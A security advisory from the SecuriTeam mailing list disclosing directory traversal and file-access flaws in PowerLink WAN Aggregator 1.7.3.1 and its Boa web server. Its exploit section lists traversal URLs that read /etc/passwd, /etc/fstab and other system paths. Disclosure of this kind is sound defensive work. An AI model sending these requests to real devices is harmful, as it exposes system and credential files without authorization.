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The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web
site: http://www.securiteam.com
− − promotion

In the US?

Contact Beyond Security at our new California office
housewarming rates on automated network vulnerability
scanning. We also welcome ISPs and other resellers!

Please contact us at: 323−882−8286 or ussales@beyondsecurity.com
− − − − − − − − −
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SUMMARY

 <http://www.astrocorp.com/> PowerLink WAN Aggregator is an Intelligent
Link Load Balancing with Automatic WAN Fail−Over for 100% Always Available
Internet Connectivity. An interesting way to increase Broadband bandwidth
among several connections. Multiple vulnerabilities have been found in the
product allowing attackers to gain elevated privileges, and access files
that reside outside the bound HTML root directory.

DETAILS

Vulnerable systems:
 * PowerLink WAN Aggregator version 1.7.3.1
 * Boa web server version 0.92r

The below vulnerabilities occur because the product is based upon the Boa
web server, which as we reported
<http://www.securiteam.com/unixfocus/6G0081P0AI.html> previously is
vulnerable to attack.
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Exploit:
http://somepowerlinkWAN.router/../../../../../../../../../../etc/passwd
http://somepowerlinkWAN.router///etc/passwd
http://somepowerlinkWAN.router/etc/passwd
http://somepowerlinkWAN.router/bin/
http://somepowerlinkWAN.router/dev/
http://somepowerlinkWAN.router/tmp/
http://somepowerlinkWAN.router/etc/fstab
http://somepowerlinkWAN.router/etc/mtab
http://somepowerlinkWAN.router/bin/sh

ADDITIONAL INFORMATION

The information has been provided by <mailto:se_cur_ity@hotmail.com>
morning_wood.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list−unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list−subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential,
loss of business profits or special damages.
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